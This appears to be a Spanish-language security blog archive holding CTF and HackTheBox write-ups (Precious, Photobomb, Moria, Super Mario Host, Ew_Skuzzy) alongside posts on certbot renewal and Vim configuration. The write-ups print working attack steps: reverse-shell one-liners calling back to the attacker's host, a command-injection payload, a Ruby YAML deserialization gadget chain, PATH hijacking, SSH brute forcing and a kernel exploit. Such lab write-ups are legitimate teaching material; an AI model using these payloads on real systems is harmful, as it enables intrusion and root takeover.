domingo, 26 de marzo de 2023

HTB Precious

 


Precios es una máquina con sistema operativo linux. Asi que se comienza a escanear los puertos.

$ sudo nmap -sV -Pn -A -O -oN precious 10.10.11.189
Starting Nmap
Nmap scan report for 10.10.11.189
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ahora se agrega precious.htb con la IP al archivo /etc/hosts.

Luego yendo http://precious.htb/, desde el navegador se encuentra con esto.

 

Es un convertidor de páginas a PDF, al revisar el código fuente, algún parámetro extraño en la petición u otras rutas no se encontró nada. Asi con el buen burp suit, en modo interceptor para averiguar algo, pero fue infructuoso. Después se puso a correr un servicio web con Python y pasarla a la aplicación.

$ python3 -m http.server 80 

 

 

Al ingresarla, lista los archivos que esten igual o por debajo de la gerarquia de archivos donde se genero el servicio web.

 

Se descarga el archivo y se comprobo el tipo de archivo y con exiftool para  examinar las propiedades del archivo descargado.
$ exiftool {name}.pdf
...
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

 

Se busca una vulnerabilidad para pdfkit, por suerte se encontró una vulnerabilidad de command injection, asi que se explota esa vulnerabilidad.


 

Al verificar que se puede inyectar código dentro de la petición, se envía una reverse shell y paralelamente se abre un puerto de escucha en una terminal.


$ nc -lvnp 4567                                
listening on [any] 4567 ...

http://10.10.16.11:80/?name=%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.11",4567))'`

Seguido identificar el id, se explora algunos directorios.
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby   59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby   99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby  478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Feb 25 15:52 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ls config
environment.rb
cat config/environment.rb
require 'bundler/setup'

APP_ENV = ENV["RACK_ENV"] || "development"

Bundler.require :default, APP_ENV.to_sym

require 'rubygems'
require 'bundler'

require_rel '../app'
cd /home
ls
henry
ruby

 

Al llegar a este punto se encontró el flag de usuario, pero no se tiene permiso porque le pertenece a otro usuario.
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Feb 25 15:47 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

cd .bundle
ls
config
ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 ..
-r-xr-xr-x 1 root ruby   62 Sep 26 05:04 config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:***************YFH"

 

Después de esto se puede pivotar a la cuenta de henry con el comando "su henry " y su respectiva contraseña, entonces ya se podrá obtener el flag de usuario. Ahora se verifica si este usuario tiene algún permiso con permiso root.

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb


cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

 

Al ver este script se puede vislumbrar un método YAML.load()  es vulnerable a Blind Remote Code Execution through YAML Deserialization. Se reescribe el archivo dependencies.yml que se encuentra en el homespace de henry, para probar que funciona con lo siguiente y posteriormente a ejecutar el programa con "sudo /usr/bin/ruby /opt/update_dependencies.rb".
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve


Ahora es ya comprobado que funciona, es hora de modificarlo un poco, en la sección  "git_set: id", se cambiara por "git_set: chmod u+s /bin/bash", cambiando los permisos a bash. Para finalizar solo es ejecutar el comando "bash -p", verificar los permisos de root y conseguir el flag de root.

sábado, 11 de febrero de 2023

HTB Photobomb


 

Primero se hace le escaneo de puertos.
$ sudo nmap -sV -Pn -A -O -oN photobomb 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-20 13:09 -05
Nmap scan report for 10.10.11.182
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

 

En este caso se añadira  photobomb.htb a hosts
vi /etc/hosts
ip    photobomb.htb

 

Ahora llendo a  photobomb.htb en el navegador se encuentra esto.


Ahora se escanea los directorios
$ gobuster dir -u http://photobomb.htb/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ===============================================================
http://photobomb.htb/printer              (Status: 401) [Size: 188]
http://photobomb.htb/printers             (Status: 401) [Size: 188]
http://photobomb.htb/printerfriendly      (Status: 401) [Size: 188]
http://photobomb.htb/printer_friendly     (Status: 401) [Size: 188]
http://photobomb.htb/printer_icon         (Status: 401) [Size: 188]
http://photobomb.htb/printer-icon         (Status: 401) [Size: 188]
http://photobomb.htb/printer-friendly     (Status: 401) [Size: 188]
http://photobomb.htb/printerFriendly      (Status: 401) [Size: 188]

Sin embargo, no se encontro otra ruta. Volviendo a la pagina principal al buscar en el codigo fuente.

Luego dirigirse al sitio donde esta el script.


Al usar el usuario y la contraeña que tenia el script en /printer, se llega a este sitio.

Con la ayuda del buen burpsuit, se intersepto las peticiones para saber detalles de como procesa los parametros de descarga de las imagenes.


En los parametros, se modifico ingresando e ingreso uno extra esperando que hubiera alguna reaccion.
photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=jpg;{HERE}&dimensions=3000x2000

Por ello se intenta que haga una peticion a local, creando un servidor http con python.
$ sudo python3 -m http.server 80

Se hace una llamada al servidor recien creado y hay respues, asi que es hora de pasar una revershell como parametro, pero antes tener un puerto escuchando.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.48",4567));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
 

Ahora se tiene acceso al servidor.

$ nc -lvnp 4567                                                                                      
listening on [any] 4567 ...
connect to [10.10.16.48] from (UNKNOWN) [10.10.11.182] 40402
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

Encontrar la primer flag es solo regresar un nivel en los archivos.

$ cd ..
cd ..
$ ls
ls
photobomb  user.txt
$ cat user.txt  
cat user.txt
********************************

Lo siguiente es en contrar una forma de escalar privilegios.
$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh


Se puede ver que ese archivo esta corriendo con permisos de root, al inspeccionarlo, se encuntra esto.
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Ahora aprovechando la vulnerabilidad de este programa que esta corriendo con permisos root, se va a pasar una shell que sustituira el programa find, y a su vez, dar una consola con este permiso.
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
$ echo bash > find
echo bash > find
$ chmod +x find
chmod +x find
$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id
id                                                                                                                                                                   
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
*******************************



domingo, 25 de diciembre de 2022

Nginx - Certbot: Solucionando problema de actualizacion de certificado let's encript

 

Hace unos años por esta misma tenía un par de servicios que tenía levantados, hacía ya un tiempo, pero ya me enfrentaba a un nuevo reto que era actualizar los certificados TLS.
 

 Después de encontrarme en serios problemas por no poder solucionarlo, llegue a la conclusión de que era problemas de filtrado en el firewall. La solución es darle acceso temporal al bot de let's encrypt para hacer la renovación y luego cerrarlo.


 Lo primero hay que hacer los cambios en la configuración de perfil para el firewall / ufw en mi caso habilitar el puerto 80 y 443


[letsencrypt]
title=access to the world for Let's Encrypt
description=access to the world for Let's Encrypt
ports=80/tcp|443/tcp


Los perfiles de ufw suele encontrarse en la ruta /etc/ufw/applications.d/ y para habilitarlo con el comando:

ufw allow letsencrypt


Para probarlo, let's encript tiene un mecanismo de prueba, que permite simular la renovación de los certificados.

certbot renewal --dry-run
 

Después de generar la prueba y/o generar el certificado no hay que olvidar, desactivar y en su defecto la regla que se creó. Adicionalmente, se puede crear un script de bash o directamente con crobjob para actualizar los certificados cada X periodo de tiempo



 

 

sábado, 13 de agosto de 2022

CTF Moria: 1 VM


 Esta máquina para los fanaticos de Tolkien es temática basada en LOR, asi que a disfrutarla, comenzando con el escaneo de puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN moria1 192.168.2.23                                                                                      
Starting Nmap
Nmap scan report for 192.168.2.23
Host is up (0.00072s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
|   2048 47b5ede3f9ad9688c0f283237fa3d34f (RSA)
|   256 85cda2d8bb85f60f4eae8caa7352ec63 (ECDSA)
|_  256 b1777e08b3a084f8f45df98ed585b934 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Gates of Moria
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

 

En el escaneo se descubrió tres servicios corriendo por el puerto 21,22 y 80. Ahora visitando el navegador se encontró lo siguiente.

 

Después se escaneó los directores y se encontró lo siguiente.
$ gobuster dir -u http://192.168.2.23/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.23/w                    (Status: 301) [Size: 230] [--> http://192.168.2.23/w/]


Al visitar esa ruta se encontró este directorio y siguiéndole lleva a esto.

 

Además de ese mensaje no hay otra pista para continuar, asi que refrescando la página aparece de manera random un mensaje. Asi que con Wireshark, se inicia la captura de paquetes de red.

 

Después de bastantes intentos refrescando la página aparece estos paquetes bastante inusuales, asi que podría ser la siguiente pista, lo único que no era contante era los puertos, y si había un mensaje en él.

 

Ahora se inspecciona el puerto 21, en el mensaje de bienvenida ofrece un nombre de usuario, se comprueba si el mensaje anterior es el servicio FTP.
$ ftp 192.168.2.23
Connected to 192.168.2.23.
220 Welcome Balrog!
Name (192.168.2.23:***): Balrog
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||36104|).
150 Here comes the directory listing.
226 Directory send OK.

 

Al listar las carpetas, tiene ciertos permisos asi que se explora algunos directorios y seguidamente listar el contenido en el servicio remoto.
ftp> cd /
250 Directory successfully changed.
ftp> cd /var/www/html
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||25583|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.
ftp> dir
229 Entering Extended Passive Mode (|||52471|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.


Entonces en el navegador se puede visualizar lo siguiente en la ruta /QlVraKW4fbIkXau9zkAPNGzvi


Y en el código fuente esta anotación.
<!--
******
******
******
******
******
******
******
******
MD5(MD5(Password).Salt)
-->


Esto da pie para dar formato a los hash que se encontraron de esta forma, para poder crackearlo con john en un formato apropiado.

 

$john --format=dynamic_6 prisioners
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 256/256 AVX2 8x3])
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
-----------         (Balin)     
-----------          (Nain)     
-----------           (Ori)     
-----------          (Oin)     
-----------           (Dain)     
-----------          (Maeglin)     
-----------         (Thrain)     
-----------            (Telchar)     
-----------         (Fundin)  


Lo siguiente es probar estos usuarios el acceso con SSH con su respectiva contraseña. El acceso se obtiene con el usuario Ori.
$ ssh Ori@192.168.2.23
Ori@192.168.2.23's password:
-bash-4.2$ ls
poem.txt

Al ingresar, se encontró por decirlo de alguna manera, la primera.
-bash-4.2$ cat poem.txt
Ho! Ho! Ho! to the bottle I go
To heal my heart and drown my woe.
Rain may fall and wind may blow,
And many miles be still to go,
But under a tall tree I will lie,
And let the clouds go sailing by.
PS: Moria will not fall!

 

También se encontró la carpeta .ssh, en ella un host, se hizo reviso al archivo .pub se identificó un usuario que le podría corresponderle.
-bash-4.2$ cat .ssh/id_rsa.pub
ssh-rsa AA.......AldK50EYLIu7MO9tCBGLd04UCzvZhK4b920w2igQcuvh Ori@Prison

 

Se inicia sesión ssh, pero antes de eso se cambian los permisos al archivo. Y no funciono, se probaron con varios usuarios hasta llegar a root.
-bash-4.2$ chmod 600 id_rsa
-bash-4.2$ ssh -i id_rsa root@127.0.01
Last login: Fri Apr 28 18:01:27 2017
[root@Moria ~]# whoami
root

Ahora solo es ir a abrir el archivo flag.txt, se los dejo para que lo puedan abrir y leer otro poema.
[root@Moria ~]# ls
flag.txt


Muchas gracias a @abatchy17 que nos brindó esta VM. Hasta la próxima.

Vulnhub:Moria: 1.1

domingo, 12 de junio de 2022

Instalar y personalizar Vim


 Hace unos días me encontré con una noticia que me dejo impactado.

 


"... Si bien el objetivo de hacer crecer la comunidad de creadores de software se mantiene, hemos decidido retirar Atom para promover nuestro compromiso de llevar el desarrollo de software rápido y confiable a la nube a través de Microsoft Visual Studio Code y GitHub Codespaces.

Hoy, anunciamos que vamos a cerrar Atom y archivaremos todos los proyectos bajo la organización el 15 de diciembre de 2022..."

"... GitHub y nuestra comunidad se han beneficiado enormemente de aquellos que presentaron problemas, crearon extensiones, corrigieron errores y crearon nuevas funciones en Atom. Atom jugó un papel integral en los viajes de muchos desarrolladores", como es mi caso, no estoy realmente interesado en cambiarme a las otras alternativas.

 

Habiendo una discusión sobre como conservar el proyecto por la comunidad (dejo el enlace aquí) y dejar a un lado la marca de atom para darle continuidad, les dejo un enlace a proton es como ellos denominan una nueva imagen del amado 'Editor de texto pirateable' Atom.

 

Mientras se estabiliza la comunidad para obtener de nuevo a atom, les mostraré una alternativa llamada VIM.


Instalación en Windows

Primero se debe descarga desde la página de vim el ejecutable. Al instalar desde el ejecutable se debe tener cuidado en esta sección, te preguntará el tipo de instalación, la opción que elija dependerá del tamaño disponible de su equipo.



Instalación en Linux / BSD



Distribuciones basadas en Debian y Debian


$ sudo apt-get update
$ sudo apt-get install vim-gtk


RedHat y distribuciones basadas en RedHat

$ sudo yum check-update
$ sudo yum install vim-X11

Fedora

$ sudo dnf check-update
$ sudo dnf install vim-X11


Distribuciones basadas en OpenBSD y OpenBSD

$ sudo pkg_add vim-x11

Distribuciones basadas en FreeBSD y FreeBSD

$ sudo pkg install editors/vim



Personalización de Vim


Hay que crear en el home del usuario un archivo .vimrc

$ touch ~/.vimrc

Para la configuración básica de vim, se agrega en este archivo las siguientes líneas:

set nocompatible

filetype on

filetype plugin on

filetype indent on

syntax on


la primera deshabilita la compatibilidad con vi.

La siguiente, habilite la detección de archivos de tipo.

Habilite los complementos y cargue el complemento para el tipo de archivo detectado. 

Cargue un archivo de sangría para el tipo de archivo detectado.

Active el resaltado de sintaxis.

 

Ahora para enumerar las filas a un costado

set number 


En cuanto a la localización del cursor, las siguientes lo resaltan tanto vertical y horizontal

set cursorcolumn
set cursorline


Para mejorar la experiencia de usuario en cuanto el espacio de trabajo

set shiftwidth=4
set tabstop=4
set expandtab
set nobackup
set scrolloff=10
set nowrap
set incsearch
set ignorecase
set smartcase
set showcmd
set showmode
set showmatch
set hlsearch
set history=1000


Establezca el ancho de turno en 4 espacios.
Establezca el ancho de la pestaña en 4 columnas.
Use caracteres de espacio en lugar de tabulaciones.
No guarde archivos de copia de seguridad.
No permita que el cursor se desplace por debajo o por encima de N número de líneas al desplazarse.
No envuelva las líneas. Permita que las líneas largas se extiendan hasta donde llegue la línea.
Mientras busca en un archivo, resalte de forma incremental los caracteres coincidentes a medida que escribe.
Ignora las letras mayúsculas durante la búsqueda.
Anule la opción de ignorar mayúsculas y minúsculas si busca letras mayúsculas. Esto le permitirá buscar específicamente letras mayúsculas.
Muestra el comando parcial que escribes en la última línea de la pantalla.
Muestre el modo en que se encuentra en la última línea.
Mostrar palabras coincidentes durante una búsqueda.
Utilice el resaltado al realizar una búsqueda.
Establezca los comandos para guardar en el historial, el número predeterminado es 20.


Aunque si buscas algo genial este video es un poco antiguo pero lo suficientemente interesante para probar algunas cosas.

 



Créditos: vim, freecodecamp,
 
 
 
 
 

sábado, 14 de mayo de 2022

CTF Super Mario Host: 1 VM

 

Se inicia esta máquina explorando los puertos con nmap.

$ sudo nmap -sV -Pn -A -O -oN smariohost 192.168.2.22
Nmap scan report for 192.168.2.22
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 1c97c0063bcb4f6f0f658d3782c42359 (DSA)
|   2048 452dfe04bb98ed00d77b36da8fcf441c (RSA)
|   256 095c259d5c54ae8d90e3449b5ea14de0 (ECDSA)
|_  256 c9d56a3253ab8a43744b85fba0ba4052 (ED25519)
8180/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: nginx
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Como no se encontró nada en el navegador en el puerto 8180, se escanea los directorios con el flag de extensión tipo php.

$ gobuster dir -u http://192.168.2.22:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/vhosts               (Status: 200) [Size: 1364]
http://192.168.2.22:8180/server-status        (Status: 403) [Size: 215]

Se encontró un archivo de configuración que contenía una vhost, asi que se procede a añadirlo.

$ sudo vi /etc/hosts
192.168.2.22        mario.supermariohost.local

Ahora sé pasando la url http://mario.supermariohost.local:8180/ se ve un minijuego de Mario.


Se escanea de nuevo las rutas con esta nueva dirección.

$ gobuster dir -u http://mario.supermariohost.local:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/mario.php            (Status: 200) [Size: 7080]
http://mario.supermariohost.local:8180/command.php          (Status: 200) [Size: 231]
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/luigi.php            (Status: 200) [Size: 386]
http://mario.supermariohost.local:8180/server-status        (Status: 403) [Size: 215]

 

Regresando al navegador en la ruta /luigi.php.

Para conveniencia, se hizo una pequeña lista con usuarios permitidos, toad, luigi, peach, yoshi y mario. Con esta lista se creó un diccionario que se va a utilizar para forzar la entrada a servidor por el puerto SSH.

$ john --wordlist=~/Documentos/vulhub/supermarioHost_1/users --rules --stdout >psw

Ya teniendo ambos diccionarios de usuarios y contraseñas, con hidra para hacer una serie de ataques de fuerza bruta.
hydra -s 22 -L /../users -P /../psw -t 16 192.168.2.22 ssh
...
login: luigi   password: luigi1

Con las credenciales se inicia secion.

Con el comando de ayuda se desplegó una serie de comandos que al menos un es vulnerable y dar una shell.
awk 'BEGIN {system("/bin/sh")}'

 

Ahora se verifica la versión de Linux que está corriendo. Se encuentra un mensaje en la que se declara la guerra contra Luigi por el amor de la princesa.
$ cat /proc/version
Linux version 3.13.0-32-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014
 

Con este exploit, al seguir las instrucciones permitirá obtener un usuario con permisos root.
$ mv 37292 37292.c
$ gcc 37292.c -o exp
$ exp


Ahora con el usuario root, en el directorio /root se encuentra el flag en un .zip. Como no puedo descomprimirlo, se copia en /var/www/html y ahí poder descargarlo desde el navegador en la ruta http://192.168.2.22:8180/flag.zip.

Una vez descargado se utiliza a john para desencriptar él .zip.
$ zip2john flag.zip > ziphash


$ john --wordlist=~/Documentos/rockyou.txt ziphash              
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepeach       (flag.zip/flag.txt)


Se descomprime y se utiliza esta contraseña en él .zip y se encuentra lo siguiente.
$ unzip flag.zip  
Archive:  flag.zip
[flag.zip] flag.txt password:
  inflating: flag.txt  


$ cat flag.txt
Well done :D If you reached this it means you got root, congratulations.
Now, there are multiple ways to hack this machine. The goal is to get all the passwords of all the users in this machine. If you did it, then congratulations, I hope you had fun :D

Keep in touch on twitter through @mr_h4sh

Congratulations again!

mr_h4sh


Y bueno, eso es todo por esta entrada, no se continúa esta entrada con la búsqueda del siguiente flag, ya que hay un punto en el que parece que todo funciona y debería funcionar no funciona. Asi que les dejo hasta aquí, si alguien cree tener la forma de evadir esa restricción con gusto, me gustaría platicarlo.

Muchas gracias a @mr_h4sh que nos brindó esta VM. Hasta la próxima.

Vulnhub: Super Mario Host: 1



sábado, 9 de abril de 2022

CTF Ew_Skuzzy: 1 VM

 

Primero se escanea los puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN ew_skuzzy 192.168.2.14
Starting Nmap
Nmap scan report for 192.168.2.14
Host is up (0.00055s latency).
Not shown: 997 closed tcp ports (reset)
Bug in iscsi-info: no string output.
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 89c2ae12d6c5194e684a28e906bd9c19 (RSA)
|   256 f00cae3710d36da2853a77040694f80a (ECDSA)
|_  256 855b491705a0b84e76ceb263c62136e9 (ED25519)
80/tcp   open  http    nginx
|_http-title: Welcome!
3260/tcp open  iscsi?
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Se reviso en el navegador el servicio corriendo en el puerto 80


Como el escaneo de directorio no se encontro ningun directorio, o en el código fuente, se comprueba el otro servicio que correo el 3260, según un blog 

iSCSI es un protocolo de red de área de almacenamiento que define cómo se transfieren los datos entre los sistemas host y los dispositivos de almacenamiento. Permite el transporte de datos SCSI a nivel de bloque entre el iniciador iSCSI y el destino de almacenamiento a través de redes TCP/IP.

Se intenta descubrir si este servicio esta expuesto.
$ sudo iscsiadm -m discovery -t sendtargets -p 192.168.2.14:3260
192.168.2.14:3260,1 iqn.2017-02.local.skuzzy:storage.sys0


Para obtener mas información, con el siguiente comando
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260
# BEGIN RECORD
node.name = iqn.2017-02.local.skuzzy:storage.sys0
node.tpgt = 1
node.startup = manual
node.leading_login = No
iface.iscsi_ifacename = default
iface.net_ifacename = <empty>
iface.ipaddress = <empty>
iface.prefix_len = 0
iface.hwaddress = <empty>
iface.transport_name = tcp
iface.initiatorname = <empty>
iface.state = <empty>
iface.vlan_id = 0
iface.vlan_priority = 0
iface.vlan_state = <empty>
iface.iface_num = 0
iface.mtu = 0
iface.port = 0
iface.bootproto = <empty>
iface.subnet_mask = <empty>
iface.gateway = <empty>
iface.dhcp_alt_client_id_state = <empty>
iface.dhcp_alt_client_id = <empty>
iface.dhcp_dns = <empty>
iface.dhcp_learn_iqn = <empty>
iface.dhcp_req_vendor_id_state = <empty>
iface.dhcp_vendor_id_state = <empty>
iface.dhcp_vendor_id = <empty>
iface.dhcp_slp_da = <empty>
iface.fragmentation = <empty>
iface.gratuitous_arp = <empty>
iface.incoming_forwarding = <empty>
iface.tos_state = <empty>
iface.tos = 0
iface.ttl = 0
iface.delayed_ack = <empty>
iface.tcp_nagle = <empty>
iface.tcp_wsf_state = <empty>
iface.tcp_wsf = 0
iface.tcp_timer_scale = 0
iface.tcp_timestamp = <empty>
iface.redirect = <empty>
iface.def_task_mgmt_timeout = 0
iface.header_digest = <empty>
iface.data_digest = <empty>
iface.immediate_data = <empty>
iface.initial_r2t = <empty>
iface.data_seq_inorder = <empty>
iface.data_pdu_inorder = <empty>
iface.erl = 0
iface.max_receive_data_len = 0
iface.first_burst_len = 0
iface.max_outstanding_r2t = 0
iface.max_burst_len = 0
iface.chap_auth = <empty>
iface.bidi_chap = <empty>
iface.strict_login_compliance = <empty>
iface.discovery_auth = <empty>
iface.discovery_logout = <empty>
node.discovery_address = 192.168.2.14
node.discovery_port = 3260
node.discovery_type = send_targets
node.session.initial_cmdsn = 0
node.session.initial_login_retry_max = 8
node.session.xmit_thread_priority = -20
node.session.cmds_max = 128
node.session.queue_depth = 32
node.session.nr_sessions = 1
node.session.auth.authmethod = None
node.session.auth.username = <empty>
node.session.auth.password = <empty>
node.session.auth.username_in = <empty>
node.session.auth.password_in = <empty>
node.session.auth.chap_algs = MD5
node.session.timeo.replacement_timeout = 120
node.session.err_timeo.abort_timeout = 15
node.session.err_timeo.lu_reset_timeout = 30
